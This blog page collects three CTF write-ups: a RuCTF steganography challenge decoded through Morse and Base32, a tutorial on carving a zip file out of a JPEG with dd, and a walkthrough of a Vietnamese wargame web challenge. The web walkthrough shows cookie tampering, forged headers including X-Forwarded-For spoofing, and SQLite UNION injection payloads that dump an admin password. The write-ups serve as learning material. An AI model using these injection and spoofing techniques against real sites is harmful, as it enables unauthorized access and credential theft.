That sailor has a weird shoplist. I'd like to know what he's really gonna buy. A binary file <a href="http://blackbox.sibears.ru/uploads/477/lab/shoplist.bin" style="text-decoration: none;">shoplist.bin</a> is given. After some inspection of file Progressor revealed that a binary representation of this file is looks like Morse code. I've used the next script to convert binary to Morse code:<div class="highlight">
<pre>f = open('shoplist.bin', 'rb')
data = f.read()
f.close()
result = ''
for b in data:
 result += bin(ord(b))[2:].zfill(8)
print result.replace('1110','-').replace('10','.').replace('00', ' ')
</pre>
Here is converted code:</div>
-.- .--- ..- .-- --. --.. .. -.- .. .-. --.. --. ... --.. .-.. . . -... -... --. -.- -.-- .-.. --- --- -- ..-. ..-. --. ..--- -.. .--. --- .--- ..--- --. -.- ...-- - .--- -. --.. - --.- ..- - .-.. -... -- -. --.- -..- . ...-- ...-- --- -. . ..-. . --.- -.-- .-.. -. -- .--- ..--- -..- . --.. ...-- ..-. --- .. ..-. . ..--- -.-- .-.. ... -- ..... --.- -..- . ..--- .-.. --- -- ..- ..-. . -- ...-- -.. .--. --- ...- --.. .- ..- --.- - -... -- -. -..- .-- ....- .. -.-. ..-. -. --.. ... .... --. .. -... --. . -... .. --. ... --.. .-.. -.. -- ...- --.. --.- ..- --.- ...-- -... -. --.. -..- --. -.- --.. -... .- -.- -. ..--- --. -.- ..... ...-- ..-. -- --.- --.- ..-. .. ...-- ...-- -. -- ..-. ..--- --. -.... --.. .-.. - -... .--- .--- -..- -.- --.. ...-- -... --- .. ..-. . -.- --.. ...-- .... --- -- ..-. . -.... ...-- - .--- -. ..... -..- .... --. -.-. ... --.. -- ...- --.- -..- --. ..... .- -.- -.- --.. ... .-- --- --.. .-.. ..- -- ..-. .-. --. -.-- --.. .-.. - -... .--- -.. .-- -.-. ....- - -- -. ..-. .-. --.- ..- --.- - -... -. -. ..- .-- ....- --.. --.. .- -.- -... -..- -..- --- --.. -.. ..-. --- .. ..-. . --. ..--- -.. ..-. -- ...- --.. .-- -.- -.-. .. -.- -.- -... -..- -..- --- --.. -.. ..-. --- .--- ... .-- .. .. -.-. -. -. ..-. .-- --. .-- -.-. ... --.- -. ..... ..--- --. -.-. ..... -.. .--. -- ...- --.. --.- ..- .-. ...-- .--- -. --.. - .-- -.- ....- --.- -.- .. ..-. ... --. -.-. ....- -.. ..- -. ..-. ...-- --. -.- .. -.-. -.. -. ..... .-- .-- . -.-- .-.. ..- . -... .--- --. ... --.. - -- -- ..- ..-. . --.- ...-- ...-- ..- . -... .--- .-- -.-. ..... .-.. -.. -- ..- ..-. ..-. --. -.-- .-.. .... -- ..- ..-. . --. -.-- .-.. --.. -- ...- -..- --. ....- --.. .. .--- .--- ..... -..- --. ... ...-- ...-- --- . -... .. --. -.... ..... ...-- . -- ...- --.. .- ..- ...- -.. .. .--. ..-. .-- .-- -.- -.-. ... -.. --- ...- .-- .-- ... ...-- --.- -.- .. ..... --.- -..- . ...-- -.. .--- -- -- --.- ..-. .- ...-- ...-- -..- -- .-. ... -..- . -.-. ... --- --- ...- ..--- --. ..--- --.. .-.. .... -... .--- -... .-- --.- ..--- .-.. -- -. . --.- ..-. .- ...-- ...-- -..- -- .-. ... -..- . -.-. ... -.-. -. .-. --.- .-- --. ..--- --.. .- -.- -... ... -..- .- ....- -.. ..-. --- .. -...- -...- -...- -...- -...- -...- After translation of the code we obtain the next text:<div class="highlight">
<pre>KJUWGZIKIRZGSZLEEBBGKYLOOMFFG2DPOJ2GK3TJNZTQUTLBMNQXE33ONEFEQYLNMJ2XEZ3FOIFE2YLSM5QXE2LOMUFEM3DPOVZAUQTBMNXW4ICFNZSHGIBGEBIGSZLDMVZQUQ3BNZXGKZBAKN2GK53FMQQFI33NMF2G6ZLTBJJXKZ3BOIFEKZ3HOMFE63TJN5XHGCSZMVQXG5AKKZSWOZLUMFRGYZLTBJDWC4TMNFRQUQTBNNUW4ZZAKBXXOZDFOIFEG2DFMVZWKCIKKBXXOZDFOJSWIICNNFWGWCSQN52GC5DPMVZQUR3JNZTWK4QKIFSGC4DUNF3GKICDN5WWEYLUEBJGSZTMMUFEQ33UEBJWC5LDMUFFGYLHMUFEGYLZMVXG4ZIJJ5XGS33OEBIG653EMVZAUVDIPFWWKCSDOVWWS3QKI5QXE3DJMMQFA33XMRSXECSOOV2G2ZLHBJBWQ2LMNEQFA33XMRSXECSCNRQWG2ZAKBSXA4DFOI======
</pre>
</div>
This text is looks like some kind of BaseXX encoded string. I've tried to decode it with Base32 and got the text. It's strange shopping list: Rice Dried Beans Shortening Macaroni Hamburger Margarine Flour Bacon Ends & Pieces Canned Stewed Tomatoes Sugar Eggs Onions Yeast Vegetables Garlic Baking Powder Cheese  Powdered Milk Potatoes Ginger Adaptive Combat Rifle Hot Sauce Sage Cayenne Onion Powder Thyme Cumin Garlic Powder Nutmeg Chili Powder Black Pepper The item Adaptive Combat Rifle from the list was a flag.</div>

RuCTF 2013 Quals - Stegano 200

Strange shoplist That sailor has a weird shoplist. I'd like to know what he's really gonna buy. A binary file shoplist.bin is gi...

8:23 AM

ctf tutorial: file carving

<div style="font-family: sans-serif; line-height: 1.4em; margin-bottom: 20px;">
Begin with the following image:</div>
<div style="font-family: sans-serif; line-height: 1.4em; margin-bottom: 20px;">
<img alt="carving image" src="http://dirtbags.net/ctf/tutorial/carving-ex.jpg" title="" /></div>
<div style="font-family: sans-serif; line-height: 1.4em; margin-bottom: 20px;">
Since the browser is able to display this image, you know that it is a valid JPEG file. Further, there are no obvious encoding errors. There are a few immediate possibilities for analysis:</div>
<ul style="font-family: sans-serif;">
<li>Steganography, such as steghide</li>
<li>Information in the headers</li>
<li>Information after the JPEG end-of-file marker</li>
</ul>
<div style="font-family: sans-serif; line-height: 1.4em; margin-bottom: 20px;">
Since the last two can be detected with a simple hex dump, we will start with this. In Windows, open the file in a binary editor. Under Unix or MacOS, run (at a terminal prompt, represented by <code>$</code> in our examples):</div>
<pre style="border: 2px solid rgb(136, 136, 136); padding: 0.25em;"><code style="background-color: white;">$ xxd carving-ex.jpg | less
</code></pre>
<div style="font-family: sans-serif; line-height: 1.4em; margin-bottom: 20px;">
Look at the beginning and end of the file, initially for English text. After the <code>JFIF</code> tag, there is some comment information about software used to create the file, and some initialization strings which show up as the alphabet. There is no obvious hidden information at the beginning of the file. At the end, however, are some strings which look like file names.</div>
<pre style="border: 2px solid rgb(136, 136, 136); padding: 0.25em;"><code style="background-color: white;">00008e20: 3fff d950 4b03 0414 0000 0008 0088 6c0c ?..PK.........l.
00008e30: 3f18 f066 802d 0000 0032 0000 000a 001c ?..f.-...2......
00008e40: 0061 6e73 7765 722e 7478 7455 5409 0003 .answer.txtUT...
00008e50: 9f72 454e 126d 454e 7578 0b00 0104 8813 .rEN.mENux......
00008e60: 0000 0488 1300 000b c9c8 2c56 00a2 acd2 ..........,V....
00008e70: e212 85c4 3c85 d48a c4dc 829c 546b 8592 ....<.......Tk..
00008e80: 8cd4 a254 904c 5e3e 50bc b83c b548 0124 ...T.L^>P..<.H.$
</code></pre>
<div style="font-family: sans-serif; line-height: 1.4em; margin-bottom: 20px;">
Also notice the string <code>PK</code>. This is the initials of <a href="http://en.wikipedia.org/wiki/Phil_Katz" style="font-weight: bold; text-decoration: none;">Phil Katz</a>, creator of the zip file format. Immediately preceding <code>PK</code> is the hex value <code>ffd9</code>, the end-of-file marker for JPEG files.</div>
<div style="font-family: sans-serif; line-height: 1.4em; margin-bottom: 20px;">
At this point, we have determined that the JPEG file has a zip file appended to it. Our task is now to strip the JPEG file off of the beginning and uncompress the zip file. There are many ways to accomplish this task: this tutorial will focus on using the <code>dd</code> program available in Unix or MacOS.</div>
<div style="font-family: sans-serif; line-height: 1.4em; margin-bottom: 20px;">
<code>dd</code> supports a <code>skip=</code> option, which will discard a number of characters from the beginning of a file, but it only takes values in decimal. We want to skip everything up to the <code>PK</code>, which, according to the hex dump output, is at offset 00008e23. I like to use the <code>printf</code> command in Unix to do quick base conversions:</div>
<pre style="border: 2px solid rgb(136, 136, 136); padding: 0.25em;"><code style="background-color: white;">$ printf '%d\n' 0x00008e23
36387
</code></pre>
<div style="font-family: sans-serif; line-height: 1.4em; margin-bottom: 20px;">
Now we know what offset to use. We tell <code>dd</code> to use a block size of 1, and skip 36387 blocks.</div>
<pre style="border: 2px solid rgb(136, 136, 136); padding: 0.25em;"><code style="background-color: white;">$ dd if=carving-ex.jpg bs=1 skip=36387 of=foo.zip
</code></pre>
<div style="font-family: sans-serif; line-height: 1.4em; margin-bottom: 20px;">
We can now unzip <code>foo.zip</code>, and read the resulting <code>answer.txt</code>.</div>
<h1 style="font-family: sans-serif; letter-spacing: -0.05em;">
Question</h1>
<div style="font-family: sans-serif; line-height: 1.4em; margin-bottom: 20px;">
Use the same technique on this image to obtain the answer for this page.</div>
<div style="font-family: sans-serif; line-height: 1.4em; margin-bottom: 20px;">
<img alt="carving image" src="http://dirtbags.net/ctf/tutorial/carving.jpg" title="" /></div>

ctf tutorial: file carving

Begin with the following image: Since the browser is able to display this image, you know that it is a valid JPEG file. Further, there ...

8:10 AM

http://ctf.wargame.vn:1337/teaser_backup/web100_d6da263d82cd07bd02cecf82f2b666b7/

<div class="post-body entry-content" id="post-body-5704550593832133006" itemprop="description articleBody" style="font-family: Verdana, sans-serif; font-size: 13px; line-height: 19.5px;">
This challenge is also quite simple which need you to pay more attention to what server send to and get from your browser. What a host give us a hint is: có 7 levels :) + Level 6-7 dùng SQLite Level 7: Bạn phải đoán đc câu query là gì :).Hãy thử %29 %22  Các level khác: tìm hiểu PHP và Apache :). In this challenge, i use only web browser (firefox or iceweasel) with some addons and burpsuite to modify packets before they are sent. Let's start with the link http://challenges.wargame.vn:1337/web100_d6da263d82cd07bd02cecf82f2b666b7/ It works!.. Basically, it seems that website is not complete. Try to open page source. Nothing special in source except there is a vertical scroll bar. Let's try to scroll down to a bottom. Here, a level 2 link is hidden here. This one is always a trick to some players. Let's keep to level2 with the link we have in the previous level. You're not logged in! wtf, why aren't not logged in?There is no form for us to authenticate. There must be another way to make server believe that we are logged. One way to do this is by using cookie. We need to send cookie to server to let it know we are already logged in. Using cookie manager, a firefox addon, gives us nothing, there is no cookie store already. Next, let's check what server send to us by using live http header, another firefox's addon. (thanks ML for this hint, I dont even think that i need to examine what server send becase of my little ctf experience) Set-Cookie: login=0; expires=Thu, 01-Jan-1970 00:00:01 GMT That's explain why there is no cookie stored in our browser. The job is easy now by set cookie login to 1 and set our request to server to get next level link in level3, we do the same way as level2 instead of set login cookie to ip address which is hidden in page source of this level. Level 4 requires more challenge than the first 3 levels. Open source page and we get an array of server variables and a hidden variable I have to guess that to pass this level, we need to set server variable HTTP_1337 to 1337. What you need to do this level, you need to understand what server variable is and how it gets from request. (http://www.php.net/manual/en/reserved.variables.server.php) insert the folowing line in to request's HTTP header before it is sent to server 1337:1337 Level5 is also the same as level4. We need to change our IP address ($_SERVER['REMOTE_ADDR']) to 127.0.0.1 which seems impossible.  Just using google and found interesting http://en.wikipedia.org/wiki/X-Forwarded-For Move to the next level. This level is no more php exploit. It requires sql injection skill. ?id=1 Hello manhluat! Try to change value to see whether there is exploitable. ?id=1' Nothing ... so, there may be injectable. Do some more SQLis id=-1 union select 1,1,1;-- Hello 1! It works! Now, it is time to exploit this level. We know this level uses SQLlite; therefore using following query to get table name ?id=-1 union select 1,name,1 from sqlite_master WHERE type='table' ;-- Hello users! We get the table users. ?id=-1 union select 1,username,1 from users ;-- Hello admin! ?id=-1 union select 1,password,1 from users where username='admin';-- Hello ....(level7 link)! Following the link, we reach level 7.In this level 7, the host give us some hints by using %27 and % 29 which stand for " and ) character. ?id=-1 Hello! ?id=-1" Nothing... ->There must be error with sql query ?id=-1") Nothing... ?id=-1");-- Hello! Ok, now we guest the query should be: select ... from ... where (id="xxx") let's do some more ?id=-1") union select 1,1,1 where ("1"="1 Hello 1! ok. Now we know how to pass this level. Do as what we do in the previous level. ?id=-1") union select 1,name,1 from sqlite_master where ("1"="1 Hello flag! ?id=-1") union select 1,flag,1 from flag where ("1"="1 </div>
<div class="post-footer" style="background-color: #e0e0e0; background-image: url(http://www.blogblog.com/tictac/tictac_grey.gif); background-position: 0% 8px; background-repeat: no-repeat no-repeat; color: #999999; font-family: Verdana, sans-serif; font-size: 11px; line-height: 19.5px; margin: 0px; padding: 0px 0px 0px 14px;">
</div>

http://ctf.wargame.vn:1337/teaser_backup/web100_d6da263d82cd07bd02cecf82f2b666b7/

This challenge is also quite simple which need you to pay more attention to what server send to and get from your browser. What a host give...

6:28 PM